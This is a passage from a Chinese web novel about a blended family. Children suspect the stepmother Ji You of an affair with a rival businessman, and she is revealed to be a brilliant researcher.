林叙白刚来的时候就诧异过学校里还有六年级了,这是根据今年的最新政策改的。 所以这是有史以来第一届六年级学生。 他轻轻点头,“幸会。” 许言疏想了想,决定坐在他对面,“虽然是用成绩来和你做自我介绍的,但我想和你聊的并不是成绩的事。” 林叙白看了眼表,眉头轻轻蹙了蹙。 “有话可以直说。” 许言疏见人不喜欢委婉,随即也直奔主题,“或许之前有位女士带过你来上学,她是你的母亲吗?” 林叙白垂着眸子又抬起,从名义上的角度来说,“确实是这样没错。” “那我其实不建议你母亲和我的父亲走的太近的。” 林叙白表情茫然,“这话是什么意思?” “抱歉,是我没说明白了。” 许言疏掏出一沓照片,林叙白翻了翻。 他攥了一下手心,情绪显然也不太淡定。 “这是什么时候的事?” “今天上午。” 许言疏十分清楚,他的父亲,就是个人渣。 母亲死后这才过多久? 他是不可能让人这么简单就如愿的,“我很了解我爸,他找另一个女人再婚的目的就是要照顾年龄不大的我和弟弟。” 林叙白猛地抬眸,心绪显然不像刚刚那样稳定。 他征征地道,“是吗?” “难道不是吗?毕竟照顾孩子是一件很麻烦的事,而我爸显然没这么多耐心。” 他想问‘那照顾更小的孩子岂不是更是这样’,毕竟当时他才半岁。 他单手握住另外一只轻颤的手,语气努力维持稳定,“那你觉得再婚的妻子会在和你父亲的婚姻中受到什么样的对待?” “多半会被他忽视吧。” “那如果再婚的妻子和他又生了个孩子呢?” 那这个孩子的待遇会是怎么样的? 林叙白的眼神望着虚空,显然已经失神了。 两人之间沉默了好久。 许言疏对结果只能说是他也不知道,但他知道一点,那就是,“这些应该就不在我父亲的考虑范围之内了。” 他神色不佳地扶额,看人脸色似乎也意识到这件事的严重性,许言疏也觉得自己已经说的够清楚了。 到时候就算林叙白的母亲想要婚外情,也该明白,他的父亲许清则绝对不是那个合适的人选。 他的脸色难看,林叙白的脸色也比他好不到哪去。 在人走后,沈介舟深呼吸两下,后背紧紧抵在墙上寻求安全感,脸色苍白的要命。 刚回来的同学吓了一跳,因为老师特别叮嘱过要照顾这位体弱的林叙白同学的。 而通过这些日子的相处,他们也发现,这位新来的林叙白同学,确实脆弱。 “林同学,你还好吗?” “我没事。” “可你头上都冒冷汗了。” 林叙白摸了摸额头,发现还真是,这可能是心虚和自责吧。 这么明显的事,他居然想不明白这么多年,居然还质疑为什么他的弟弟不愿意和他亲近。 在同学又问‘反正看你状态不太好,我先带你去医务室吧。’ 林叙白低着头,随即轻轻‘嗯’了一声。 背靠在医务室床头,医生在给他检查,最后医生得出结论,“你这是心理作用,也就是旁人口中所说的心病。” “我明白的,医生。” 医生:“……” 那你别光是明白,也要学会自己开解自己啊。 他叹了口气,把视线投向刚刚进门的一位学生,“发生什么事了吗?” 林向晨:“哦,我刚刚打篮球的时候磕到了,只是破皮,但我朋友硬要我来看看。” 第 27 章 更新 医生:? 这个时间去打球吗?那很自由了。 不过这个时候能来他医务室的, 也不是什么规矩学生。 他撩开林向晨裤腿看了一眼,这伤口放他们村吐点口水就行了,但这里面的孩子, 多少给他贴个创可贴吧。 林向晨耸了耸肩,看向陆昭然, “都说了没什么大事了。” 他以前在山路上玩随便一个口子都比这大。 陆昭然也认识到他的认知有问题,“因为我小时候身体差,所以皮肤有点破皮我妈妈和姥姥就很紧张, 所以我就以为这很严重。” 林向晨瞪大眼, “你身体差?!” 那他还带人去打球? 陆昭然赶紧解释说, “但是现在好多了。”不然他姥姥也不能放他来学校的。 或者就像五年级那个新生一样, 被人特地叮嘱了一番不能上体育课了,他既然现在好多了,那当然可以参与体育活动。 毕竟运动还可以强身健体呢。 他看向另一张病床上的林叙白给林向晨指了指然后说了下。 林向晨越听这操作越觉得耳熟, 等拉开帘子发现真是林叙白。 他嫌弃地道, “你怎么也在这里?” “你为什么在这里, 我就为什么在这里。” 林向晨瞬间疑惑地上下打量林叙白一眼,“你也旷课了?” 林叙白垂眸,不,不是, 他指的是身体不舒服这点。 但是旷课?打球? 或许就是因为林向晨讨厌他,所以他就更该扮演好这种角色。 林叙白想清楚之后苦笑, “或许你该去上课。” 林向晨‘哈’了一声,觉得林叙白是在多管闲事, “我去不去上课和你有什么关系?” “和我没关系,但是和她有关系,你也不想开家长会的时候她被说养出了个差学生吧。” 林向晨梗了一下, 他就觉得他看林叙白不顺眼。 他撇撇嘴,“我妈才不会在意这些呢。” “但是偏见会在乎。” 就像林向晨上次的事,同学老师都认为他不算全然无辜,就是因为成绩和他的行为带来的偏见。 “难道到时候你要让她一件一件的去替你澄清吗?” “你!” 林向晨怒不可遏,他想教训林叙白,但是林叙白每次都病怏怏的,让人想下手都觉得不痛快。 真是一个讨人厌的家伙! 陆昭然在一旁,疑惑的看来看去,“你们是什么关系啊?”说的话就像加密一样让他听不明白。 “兄弟。” 林向晨不满地补充,“只是同父异母而已。” 林叙白攥紧床褥,明白向晨此刻说的是血淋淋的事实,他们之间就是这么亲近又这么生疏。 而且同父异母吗? 他叹了口气,想起曾经给向晨做过提升计划,虽然那张纸被他扔了,但他向来过目不忘。 “如果你想学习,可以随时来找我。” 林向晨才不呢,而且,林向晨眼神冷了下来,“我和妈妈的事从来都不需要你来过问。” 他气冲冲的走了,陆昭然紧随其后,两人走了大概三百米才停下来。 陆昭然在后面,原本想关心人的腿的,但是没想到先映入眼帘的是林向晨委屈的红眼眶。 “你疼哭了?” 林向晨才不会这么逊呢,“我是被气的!” 陆昭然顿了好一会,所以意思是当着人面这么气势汹汹,结果冷着脸放完狠话之后自己就先受不住破防哭了? 要不要这么反萌差! 不过妈妈说过脆弱只在在意的人面前显露。 所以在他把向晨当朋友之后,向晨也把他当朋友了吗? 那样的话就太好了。 陆昭然眼睛亮亮的,然后尊重的看天看地就是不看他。 林向晨叉着腰,“难道就因为我我成绩差,给我开家长会就真的很丢人吗?” 陆昭然的第一反应是他居然在在意这个,“这个我不知道。” 林向晨瞥开脸,随意地用衣服擦着眼泪鼻涕,“算了,我就吐槽一下,没想问你要答案的。” 他作为朋友,当然知道,陆昭然从来没来过学校上学的这件事了。 陆昭然还是第一次看见有人擦眼泪鼻涕这么草率的,“……要纸巾吗?” “不用,我后爸这阵子因为先前那次误会正在讨好我,到时候让他洗!” 陆昭然又把纸巾放回去,这好吧。 反正他也不喜欢那个道貌岸然的样子,和他讨厌的爸一样一样的。 —— 林向晨想了一下午,才在放学后背着小书包,满心的踌躇壮志。 不就是成绩好吗?谁做不到可是。 他是绝对不会输给林叙白那个讨厌的家伙的。 “妈,我要学习!” 纪悠顿了下,怀疑地摸了摸自家孩子的头,确定没发烧。 但没发烧的话怎么可能想着去学习? 林向晨:“早前你教林叙白学习了吧,那我也要!” 如果是为了吃醋的话,纪悠觉得那确实有这个可能。 不过就是三分钟热度的事,废不了多少时间。 纪悠回家先洗了个澡,然后看了几个定制店铺,现在是该给孩子们定棉服的时间了,这个年纪的孩子窜的特别快,一年一年的必定是要买新的的。 她今天逛了好几家,挑了一下质量还不错的,价格方面,又不要她操心。 看了一眼刚回来的林叙白,“棉服的话,叙白要不要?” 林叙白顿了一下,他以为她忘了。 “我最近是沈叔叔带着的。” 纪悠还不至于不记得这事,只是,“他又没经验,先前你的衣服都是我来挑的,难道你还开始嫌弃我给你挑衣服了吗?” “不是这样的。” 他解释了一下,但对棉服的事没有明确回答就回去房间里了。 纪悠拿着钢笔敲了敲手心,总感觉今天的两个孩子回家的反应都怪怪的。 楼下是孩子的地盘,现在两边都寂静无声。 纪悠到底还是端着果盘去了自家孩子房间,她稀奇地看了一眼向晨,发现他正襟危坐,带着放学还没摘掉的红领巾,瞧着真像这么一回事。 “孟姨今天做了炸藕盒,要不要吃?” 林向晨瞪大眼,他最喜欢吃藕盒了,还是新鲜出炉的那种,“我……等下一批吧。” 纪悠挑眉,这可还真是了不得。 她让向晨自己看了会书,然后又拿出了一张他们期末考试的测验卷。 一样的题目,一样的试卷。 但不用担心作弊,因为向晨肯定也记不得上次考试做的什么。 等一个小时之后,她收了试卷给人批改,发现向晨得了六分。 纪悠想了下措辞然后鼓励道,“成绩翻了一倍呢,很了不起了!” 因为她记得上次向晨只考了三分来着。 林向晨不可置信的打量了好几遍,然后大呼崩溃,“怎么才得六分啊!” 纪悠深深地看了向晨好几眼,最后还是没忍住联系了家庭医生。 检查过后,“你确定我家孩子没发烧?” 医生拎着药盒,“夫人可以给孩子再用体温计量一下的,结果不会出错的。” 纪悠咋舌,这可真是太稀罕了,是她都想不明白的程度。 但孩子思维有变,这也是很正常的事。 纪悠咬了下唇,然后又抱胸看向医生,“或许你也可以检查一下我家孩子的胃。”她觉得向晨这孩子的胃口也让人不太放心。 医生检查了下,“胃也没问题,但或许可以给孩子吃点健胃消食片。” 纪悠:“……” 总结来看,就是单纯的胃口大,是这个意思吧。 “妈,都说了我没啥事的,身体好的很呢。” 林向晨做了个展示肌肉的动作,来了个全方位展示,但他其实蛮开心的,这么点小事妈妈就记得然后给他找医生看病。 他又接连做了几个后空翻,不沾手的那种。 “那明天还学习吗?” “当然学啊,……只是要慢慢的学了。” 林向晨撅嘴,他不明白这三年级题目怎么就看不懂了,他的做题还停留在一加一等于二的阶段上呢。 那他马上要升四年级了,不是更完蛋。 真讨厌啊,林向晨踢了下墙面,然后把脏衣服拿给后爸。 里面有两套呢,为了方便运动,他可是从来都带两套的。 到底也不会把占了鼻涕眼泪的灰衣服穿到晚上吧。 “后爸会帮林叙白洗澡的话,也一定会帮我洗衣服的吧!” 沈介舟顿了下,有一瞬间怀疑他说‘不洗’,向晨就会躺在地上大声说‘后爸偏心!’ 毕竟这种事向晨也不是没做过。 他点头说,“好。” 沈介舟想起纪悠嫁人的时候就父母双亡,向晨该不知道他姥姥姥爷的吧。 “向晨你妈妈那边的家人你觉得怎么样?” 林向晨‘切’了一下,“我才不会因为你帮我洗衣服,就泄露我妈的个人信息呢。” 有本事就自己问妈妈去。 别想着从他这下手,他可是很聪明的。 沈介舟:“八成是对她很好的吧。” “才不是呢!”林向晨别扭的紧,小嘴嘟嘟囔囔,“也就姥姥和姨姥姥好而已。” 其他人也都和林家差不多吧,都是些讨厌鬼。 沈介舟顿了下,然后眼神垂下不再继续看向林向晨。 他深吸口气,发现纪悠总是能让他的预测打破,没有一次成功的那种。 沈介舟拿起衣服,随即满脸黑线的沾到了一点粘腻的东西。 完全想不明白,居然会有小孩的衣服会脏到这种程度,小孩的免疫力应该挺差的吧,至少不如大人完备。 但医生发了份向晨的体检报告,他发现向晨从头到尾没有一点毛病,身体好到过分。 这可真是稀奇。 或许是过早发育好免疫力的孩子? 沈介舟摇摇头,实在有些不懂了,但孩子身体好是好事,邋遢一点也没什么大不了的吧。 他皱着眉头,然后把向晨的衣服给洗了。 这种情况这段时间持续了很多次,他发现向晨之后送来的不是往泥坑滚过,是不可能这么脏的。 这说明他是被刁难了,而不是向晨的卫生习惯真差到这个地步。 这好吧。 沈介舟开着车去到公司,颜乐早就在办公室里等着他了。 颜乐挠了挠头,他这么着急显然是有原因的,“这次许清则不知道从哪请了个大佬,这好像是他第一次经济效益超过你。” 沈介舟摸摸椅子,没着急坐下。 “既然是竞争关系,那总是一输一赢的,总不可能赢的都是我,所以这很正常。” 颜乐觉得这正常个啥呀,但他也知道沈介舟并不像表面看起来这么淡定。 “或许是从外国来的大佬,他们真的先进很多。” 沈介舟,“或许,许清则的父母就在国外。” 看到儿子一直在亏损,忍不住出手这很正常。 只是他,可就没许清则这么耗得住了。 颜乐也是这么想的,他从兜里拿出一张宴会地址。 “据说这次宴会,许清则一直藏着掖着不让见的那位大佬也会亮相,或许你可以去见一见。” 或许他们的合作关系并不是这么坚固,可以和别人达成合作。 这就是他想的办法,挖墙脚—— 作者有话说:嘿嘿嘿[彩虹屁][彩虹屁][彩虹屁] 事业线为感情纠葛服务哈,宝宝们,反正不想让女主吃一点亏[撒花][撒花] 作者是女主控[菜狗][菜狗][菜狗] 第 28 章 更新 沈介舟脑袋是有些疼的, 包括家里的事,现在也包括公司里的事。 他扶着头摇了下,状况也没有一点好转。 宴会在周四晚上八点举办, 他接完叙白就到了宴席上,许清则站在中央, 一副春风得意的样子。 他走到附近,跟旁人一样道了句‘恭喜’。 许清则笑意盈盈地晃了下酒杯,感叹道, “你们夫妻俩还真是名存实亡的可以。” 一个到现在也没告诉, 一个到现在也没发现。 “什么意思?” “就是‘沈总, 你根本不知道自己错过了什么’的意思。” 沈介舟皱着眉头, 迷茫更重。 他瞥开眼,“不想说可以不说。” 许清则得意地看了一眼沈介舟,“别急嘛。” 反正沈介舟收到纪悠会来的消息并且来到了这里, 那暴露是迟早的事。 但他也不敢明晃晃的说, 虽然和纪悠小姐相处的时间极为短暂, 但他很清楚的认识到,纪悠纪小姐,是一位很记仇的人。 宴会行程进行到了这一步,已经开始介绍了。 许清则带着纪悠, 跟沈介舟打了个招呼。 “这就是我们的研究员,看起来很年轻吧。” 三十岁的天才, 虽然在村子里被埋没久了,但金子到哪都会发光的。 等再做出点成绩, 光芒只会更耀眼。 最关键的是,这块金子是他发现的,许清则得意地笑了, “不和我们的研究员打声招呼吗?沈总。” 沈介舟从刚刚开始就处于一个恍惚的状态,他总算明白了纪悠嫁给他,绝对不仅仅只有到新的地方开始新生活这么简单。 作为竞争对手,他比任何人都要了解这次新出的这款机子的含金量。 她是天才吗?难怪她可以教导林叙白。 沈介舟想清楚了之后,“或许许总可以给我们点时间吗?” 许清则嗤笑,他看起来像是这么大度的人吗? 纪悠点头,“他可以的。” 许清则嘴角的笑彻底僵住,所以他这是怎么回事?成了三人关系中被踢出的那个? 但他也不敢得罪纪悠,毕竟两人之间的合作还不是这么稳当。 而只要能合作,就代表能挣大钱,尝到和这次一样的甜头。 “要多久?” “十分钟。” 沈介舟看着选择离开的许清则,然后把视线投向纪悠,“如果已经到了这一步的话,你会选择和我离婚吗?” 毕竟现在看来,他对纪悠应该已经没有了任何价值才对。 纪悠轻轻摇头,“不会。” “为什么?” “因为不满。” 在纪悠眼中,情绪比金钱重要,沈介舟只要给了林叙白一点,那就理应给向晨一点。 同样都是救命恩人的儿子,他可不能厚此薄彼。 她这样想也这样说的。 “不满地情绪比你个人的婚姻还重要吗?” “当然,你不也不重视你的婚姻嘛。” 两人都是一样的心态,纪悠并不讨厌现在的相处模式,有别墅有生活费,自己带自己的娃,最关键的是她还能盯着林叙白。 毕竟林叙白可是也是被剧情称作天才的人物。 在原著中他们就是这样合作,轻松抢占都城乃至全国所有的市场份额的。 沈介舟闻言沉思,如果是这样的话那纪悠嫁给林墨那和感情多半也没太大关系了,是父母死了,无奈的求生之举吗? 他叹了口气,“为什么当初在结婚和进城闯荡之间,不选择进城?” “或许是因为胆怯。” 沈介舟迟疑了一下,“胆怯?” “怎么?我不可以胆怯吗?” 沈介舟愣住,他不是这个意思,只是胆怯这个词和纪悠来看确实太不搭了。 她可是敢孤身一人带着孩子嫁给他的。 但是确实,当时的一个涉世未深的女孩,他就是听也听到不少糟糕的消息的。 或许她当时的决定才是最正确的。 沈介舟看着纪悠,现在显然能纪悠脸上看到她的另一面,通过这次宴会,她声名大噪。 没有人会和钱过不去,她会在之后的日子里,赚的盆满钵满。 只要是都城里的项目,都会被她掌握话语权和主动权,沈介舟失去了近水楼台先得月的机会,那就要像普通合作方一样去争去抢。 他摸摸口袋,能从里面找到颜乐当时给他的名片,挖墙角?如今的话,要怎么挖? 直到现在,他才明白许清则的意有所指。 沈介舟正在思考从何处下手,许清则这时候过来敲敲手表,“到时间了。” 沈介舟倒是没想到这么快,早知道他该说十五分钟的。 但是十五分钟他就能想到主意了吗? 也不一定。 沈介舟看着两人点头,“那我失陪了。” 许清则都忍不住给人鼓掌,“我承认,他输的确实比我有风度点。” 纪悠单手插兜,“毕竟只是输了一次而已。” 许清则难以置信地抬头。 “我以为我们之间的关系至少是比沈介舟强点的。” “你只是给我提供了实验室,我并没有因为这个实验室就签订卖身契吧。” 所以她的创作权,当然是掌握在自己手里,至于给她提供实验室的这一点,她这次让许清则赚了不少,这不是已经还清了吗? 至少纪悠,她是这么认为的。 纪悠感受到身后的摄影,然后又把目光投向许清则,她原先就说了,他的防范心是真的很差。 —— 许言舒能在最近的日子里,频繁收到那个人渣父亲和五年级年级第一母亲的合照。 这代表着两人相处的时间越来越多。 难道是他上次暗示的不到位了?无论怎么看他父亲就是个人渣啊。 或许该让那个五年级年级第一给他妈买副眼镜。 他又找到了人,然后找了个学校拐角,“听说你腿不好,所以我专门找了个安静地方能让我们安心畅谈。” 林叙白眼神不动声色的左右看了看,这里当然人少了。 因为这里一般是校霸欺负人的地方吧。 “怎么了?” “上次跟你说过之后结果没有任何用。” 林叙白觉得当然没用了,因为他根本没跟人提过。 而且,“我说了她也不会听的。” 许言疏明白小孩子很难干涉大人的决定,就比如他家就是,但如果是爱孩子的大人的话,“或许撒娇会有用。” “撒娇?” 林叙白想都没想过,他也不觉得他和她的关系适合这样做。 但是如果照片中两人的暧昧关系是真的话,那他在她和沈叔叔离婚的时候绝对会被她丢下,毫无疑问的。 他攥着拳头,心头和许言疏一样的茫然。 他们安静了很久,直到一声称呼打破了两人之间原有的沉寂氛围。 “哥哥!” 许言疏皱着眉转过头,然后才松缓下来,“昭然。” 他下意识把照片藏起来,大概昭然入学,他就没和人见过面,怕的就是把不好的情绪传给他。 但现在,在他心情最不好的时候反而这样冷不丁的遇到了。 “你怎么会出现在这里?” 陆昭然:“我还想问哥你怎么会出现在这里呢?” 这里无论怎么看,都不像是哥这样品学兼优的学生该出现的地方吧。 许言疏把钱包掏出来,“旁边的那位是你的朋友吗?哥哥请你们吃饭。” 陆昭然‘啊’了一下,他挠挠头,每当哥哥遇见这样不想回答的问题,都会顾左右而言他,他都习惯了。 他踮起脚透过许言疏看到了一个很意外的人,他指着人,表情有些愣住。 “那你旁边是你的朋友吗?四人一起吗?” 许言疏看了一眼林叙白,觉得他勉强算是朋友吧,“怎么了,这不可以吗?” 第 29 章 更新(二合一)…… 当然不行了啊, 哥哥,他们之间是同父异母的亲兄弟啊! 这种关系光是想想就很尴尬。 而且从他的朋友向晨的态度看,两人的关系简直可以说是糟糕透顶! 他看了下向晨不愉的态度和这尴尬的氛围, 赶紧跑过去凑在许言疏耳边解释。 但是哎?同父异母的亲兄弟?他朋友向晨又是后爸?所以是父母再婚一人一个孩子? 也不对,他们俩都姓林, 不姓沈啊! 陆昭然挠挠头,解释了一半显然连他都没办法理解朋友之间的家庭关系了。 许言疏都被绕晕了,他深吸口气, 拿自家弟弟这脑子没辙。 他把视线投向林叙白, 但林叙白的眼神一直都放在林向晨身上。 林向晨瞬间被三人瞩目, 他双手插兜一个个反看回去, “看我干嘛?反正吃饭有林叙白在的话那我就不去了。” 林叙白先开口解释,“我们这次要聊的事和她有关。” 林向晨‘啊’了一声,不对劲, 他朋友和朋友哥哥为什么能和妈妈扯上联系?他表示无法理解。 直到四人真的在一家店坐着, 许言疏把情况讲了一下, 然后把照片拿给林向晨看。 林向晨翻了一下发表看法,“我妈妈这么厉害聪明,谁喜欢上她这都是很正常的事。” 更别提这一看就是臭男人把他的视线频频放在他妈妈身上,谁追谁明显的紧。 林叙白点头, “这我不否认。” “切。” 林向晨嗤了一声,但他眼神左右飘忽, 显然也不像表面上这么淡定。 因为妈妈如果答应这个男人的追求,就意味着妈妈岂不是又要去当后妈了?这次还是两个孩子! 似乎是和他思路同频了, 林叙白接下来就道,“但是这次追求她的男人有两个孩子。” 林向晨拍桌,“你这个糟糕的家伙!” 难不成林叙白读他心了? 但是这话确实说到他最担心的事情了。 他直接看向许言疏, “比起我去劝我妈妈,不如你去劝你爸爸放弃怎么样?反正成功不了的。” 在他眼中,这两人完全配不上啊! 许言疏无奈解释,“我已经劝过了。”结果他的人渣父亲用他一贯的方式打发了他,他说‘你还小,暂时还不懂这些。’ 反正听起来,挺糟糕的。 林向晨大怒,“人渣!垃圾!粘人的臭虫!” 许言疏忍不住给他鼓掌,“说的太对了。” 林向晨‘啊’了一声,这是什么父子关系啊,居然比他家的还要糟糕吗? 那这要怎么办? 林叙白垂眸想起许言疏说的话,“或许你撒娇会有用。” 林向晨承认他撒娇当然比林叙白撒娇有用,毕竟他是他妈最亲爱的宝贝儿子啊。 但他拒绝用这种方式! 因为他曾经发誓过,除了撒娇让妈妈心疼宠爱他之外,不做任何其他的事! 事到如今,他也只能选择给他的这位后爸加加码了,他可以撒娇,但是撒娇的对象要换一换。 林向晨背着小书包回到家,他沉沉闷闷的,和平日里蹦蹦跳跳的完全不同。 或许原因是在学校里发生了什么她不了解的事,但纪悠皱着眉头,显然想不出什么具体的事。 或许是因为成绩? 林向晨转头就拉住沈介舟,“原先你说你先前没空教我学习,现在有空了吧。” 沈介舟因为近期工作的事显得有些颓废,在家的时间确实多了些,主要是去公司现在也无事可做。 他捏了捏眉心,明显记得先前的对话。 “确实,那你现在是要我教你吗?” 这可真是稀奇,因为向晨向来对他退避三舍,只有让他干活的时候会想到来找他。 态度上呢,也不算很友好。 所以这次的情况,绝对是历史头一遭。 林向晨对他的问题点点头,“当然。” 然后他快速地转过身,对着纪悠说,“妈妈,如果我以后成绩不好,那都怪他教的不好!” 沈介舟歪了下头:“……” 不知怎么?突然感觉压力山大,但三分的成绩应该会有很大的进步空间。 他说服了自己,“那这意思是互换的事要重新开始了吗?” 林向晨抓狂,“这当然不是了啊!” 林叙白看了一眼没反应的纪悠,艰涩地笑了一下表示有话要说,“我现在腿好了,已经可以照顾自己了。” 纪悠没反应,是因为她想起明天就是周末了。 难怪向晨早上似乎买了一大堆好玩的,手上还有动物园的门票。 但她明天有工作,正好让沈介舟带孩子出去似乎也很合适。 “那叙白可以明天跟着我去工作”她低头问道,“会觉得无聊吗?” “不会。” 林叙白下意识回答了,但随即觉得自己说的太快了,于是又放慢语速重新说了一遍‘不会’。 纪悠笑笑,“那会弄乱实验器材吗?” “也不会的。” 纪悠点点头,那就行,她看着林叙白,觉得这算不算提前给自己招揽了一个小助手? 旁边的林向晨瞪大眼睛,忍不住左看右看。 有一瞬间他怀疑林叙白是故意的,不,他就是故意的吧。 接着他瞪了沈介舟一眼,这事他也有锅,闲着没事多问妈妈那一句干嘛?! 他非常生气,“那后爸你,明天带我去动物园。” 沈介舟迟疑了一下,等等,向晨他原先不是说要学习的吗?怎么这么快就改变主意要去动物园了? 他开始有点担心他这三分提升的计划能不能顺利达成了。 沈介舟从他手中抽走一张门票,“那去这个吧,这个动物园里有熊猫。” “真的假的!” 林向晨从来只听说过这种动物呢,不愧是大地方啊,连这种听说的东西都能亲眼见到。 隔天,他甚至特地换了一身新衣服,让沈介舟开车带他去。 不可否认,沈介舟还是挺好奇的。 好奇·为什么向晨会突然改变主意让他来带,难道是因为他这阵子帮向晨洗脏衣服,让向晨觉得他还行了? 他想不明白,决定直接开口询问。 “为什么你这次要我带你了?” 林向晨一眼就看出他在想啥,他抱着胸冷静澄清,“你不要自作多情!” 他做的这一切,才不是他承认了沈介舟呢。 “那是为了什么?” 林向晨‘啧’了一声,最后打算把事情如实告诉他,省的他想东想西自作多情的。 沈介舟听完之后,觉得小孩的想法真是天马行空,但他小时候也是想法很多。 许家那两个孩子他也见过,许清则的大儿子确实是个有主见的人。 但他绝对是想多了,从头到尾,他们三个之间从来就没有任何孩子们想的那种暧昧因素。 连带着这剩下三个孩子也被他给绕完了。 他想了想劝道,“你还小……” “等等!”林向晨阻止了他,怀疑他接着要和许言疏的人渣爸爸说一样的话了。 难道父亲的人渣在某方面是共通的吗?!不然思维逻辑怎么能做到这么同步。 林向晨怀疑地看人一眼,随即决定他才不要纠结这些,沈介舟只要不多管闲事,做好他份内的事就行了。 至于这份内的事就是赶紧把他带去动物园里玩! 这样争取在妈妈面前好好表现表现,好好赚取印象分。 沈介舟:“……为什么要向着我,你不是讨厌我的吗?” 那按理来说,不应该努力让他们离婚才对吗? 林向晨有点炸毛,他蹬着座椅差点站起,“你怎么这么多问题?吃问题长大的吗?” 这让他坐车上都不得安生了。 沈介舟嘴唇弯了一下,有点被这个形容可爱到,“毕竟现在这车上就我们两个人,不聊天又能做什么呢?” 林向晨收起腿又规规矩矩地坐在副驾驶上,他撇嘴不乐意的解释,“因为我不想我妈再去给人当后妈了。” “为什么?” 林向晨嘴唇扁扁的,非常不满意这问题,这还能是为什么。 “当然是因为做后妈一点都不好,做什么都会被说,最后只能无助的跟人解释说‘不是那样的’。” 沈介舟愣住,能从这简单的话语中窥见点什么。 向晨原来是带着这种心情长大的吗? 这种浓浓的心疼情绪,难怪能让她也为了向晨做到这种程度,他深吸口气,沉默地带人去到动物园。 他一路上还给人买了很多动物玩具,方便人带回家玩。 这边动物园还有照相的呢,让人和动物合影,一张一块钱,这还挺不便宜的,但是沈介舟通通拿下,给向晨从头拍到了尾。 摄影师都忍不住说,“这位爸爸还真疼孩子啊。” 沈介舟迟疑,疼吗? “或许吧。” 他居然真的像疼爱孩子的爸爸一样带着孩子玩了一整天,或许是有愧疚的情绪在吧。 逐渐了解了向晨这孩子之后,他才明白他对孩子的误解有多深。 当然这种情绪,也包括她就是了。 就这样带着人疯玩疯跑的玩了两天,接着到了开学,在学校里的向晨给他打电话问他‘兔子玩偶被他放在书包的哪里了,因为那是他要送给朋友当做纪念礼物的’。 沈介舟发现向晨背了这么久的书包,居然都不知道这个书包有夹层。 他给人仔细讲述了一遍后挂断电话。 颜乐不发一言的紧盯着他,沈介舟忍不住上下左右扫视了自己好几圈。 “怎么了?” 他看了一眼,没觉得自己身上有什么不妥。 颜乐作为合作伙伴,自然知道近期发生的所有事,他感到头疼,他选择委婉地先问一下。 “最近你和小儿子相处的怎么样?” 沈介舟自认为,“蛮好的。” 越相处越能发现平日里忽略的点,向晨他虽然调皮,但是乐于助人,性格也开朗大方,从不藏着掖着。 和人相处,只要把他想做的事做好他的开心情绪是能一眼看得见的。 他抬眸不解,“为什么突然问这个?” 颜乐纠结,他原本不想这么说的,但这种场面真的很像就是了。 “不为什么,就是在想难道你为了讨好你的新婚妻子,就打算从孩子下手?” 沈介舟皱眉解释,“不是这样的。” 这熟悉的话掀起了他在车上和向晨对话的回忆,他忍不住扶额,这一切在外人眼中原来是这样的吗? 心中的情绪翻腾,扑面而来的是误解的愧疚。 沈介舟闭上眼,然后慢慢地收敛情绪看向窗外。 这下轮到颜乐疑惑了,“你这是怎么了?” 沈介舟沉思了一会才回答道。 “没什么,只是承担了一点‘后爸’该有的糟糕情绪而已。” —— 上一周周末。 这天是下午,纪悠给林叙白买了点吃的,林叙白接过肉饼,“你平日里就吃这些吗?” 纪悠歪头,“你该不会以为这很可怜吧。” 比起别墅里的大鱼大肉,纪悠的口味明显是多变的,偶尔吃点路边小吃是对忙碌工作一种很美好的调剂。 林叙白吃了一口,“那看来是我搞错了因果关系。” 他原本以为是工作忙碌才让她不得不去吃这种快速进食的东西。 单手紧抓着肉饼,也开始小口小口的吃,发现这肉饼真的味道不错。 他沉思了一会,“那这么说,工作也不会很忙。” 纪悠觉得好笑,“你看到哪个忙碌的工作会从下午开始的?” 她喜欢上午荒废,下午和晚上才开始工作,这也是许清则为什么嘲讽沈介舟到现在才发现的原因。 但其实沈介舟平日里多半也会在公司搞到这么晚,偶尔遇见了也只会让她‘注意安全’。 这才是她想要的,那就是从不过界。 她用钥匙打开门,顺道打开暖风,这个实验室从头到尾只有她一个人。 但现在,她带来了一个小助手。 林叙白看了一圈,“我就坐在这陪着你吧。” 他想,她不愿意请人,也必然是不喜欢有人乱动她的实验室才对。 纪悠思量了一下,“不用,你就看着吧,然后过来帮我。” 他拿开碍事的仪器,不可否认,幸亏她的力气也大,不然也是蛮辛苦的。 在实验室里,两人都很沉默。 似乎是看人专注,而说话只会让对方分心。 纪悠注意到只要她做过一遍的事,林叙白都能完全复刻。 这种效率,应该说,不愧是本文认定的天才男主吗? 林叙白:“需要我对在这里看到的东西都闭口不言吗?” 纪悠:“如果我说需要呢?” “那我会照做。” 纪悠不可置否的笑笑,对林叙白嘴严这点她还是很信任的。 但她想要的显然也不止这么一点点要求。 她把组装好的东西重新拆卸开来,“你对这些有兴趣吗?” 林叙白对什么都淡淡,并没有特别喜欢的东西,但是如果这东西能挣钱,能对他在乎的人有用。 那他就会感兴趣。 而且这是她擅长的领域。 于是他点点头,“如果我有兴趣那你就会像原先那样教我吗?” 纪悠点头,“会。” 然后她眸色深了些许,“毕竟这东西是我教的你,那么相应的,我需要你制作的东西所有权都归我,这点你答应吗?” 林叙白并不觉得这个要求有哪里过分,因为这很合理。 他现在已经充分明白‘这个天下没有白吃的午餐’的道理,而且,这种东西,比在学校要锻炼他的多。 他无论怎么想都觉得这个条件没有拒绝的理由。 他点点头,说道,“我答应。” 纪悠拍拍他的脑袋,觉得这样,就刚刚好。 她们两个一直在实验室待到晚上,纪悠原先定了个闹铃,那是她接向晨的时间,但今天是周末,孩子还是沈介舟带着的。 但现在这个闹铃,倒也不用取消了。 “我把时间往后挪半个小时,这样等到时间再去接你。” 因为林叙白刚开始腿疼不便,又不喜欢放学时候的拥挤,所以沈介舟接林叙白的时间要往后晚半个小时。 林叙白愣了愣,倒是没想到她居然能注意到这种小细节。 纪悠就这样接人好几天。 直到这次的任务大体结束,纪悠选择带着林叙白直接回到别墅。 她换上拖鞋,注意到房间里居然亮着灯。 “是向晨吗?” “夫人,是我。” 纪悠放下防范,只是到这个时间了,孟姨居然还没走吗? “孟姨,发生什么事了吗?” 孟姨用围巾擦擦手,她解释道,“我原先想给先生打电话的,但怎么也联系不到人,应该是去接向晨了,但是等到现在也没见到人。” 纪悠歪着头,敏锐的察觉到不对,“怎么了?是不能告诉我的事吗?” 孟姨迟疑,这事是真的没法说,总感觉说了下一秒就会被辞退。 因为沈总对家里的事总是格外敏感,更别提她把事情这样直接跟夫人说了。 但人已经找到家门口了,很有可能会重新找过来,那到时候,该怎么办? 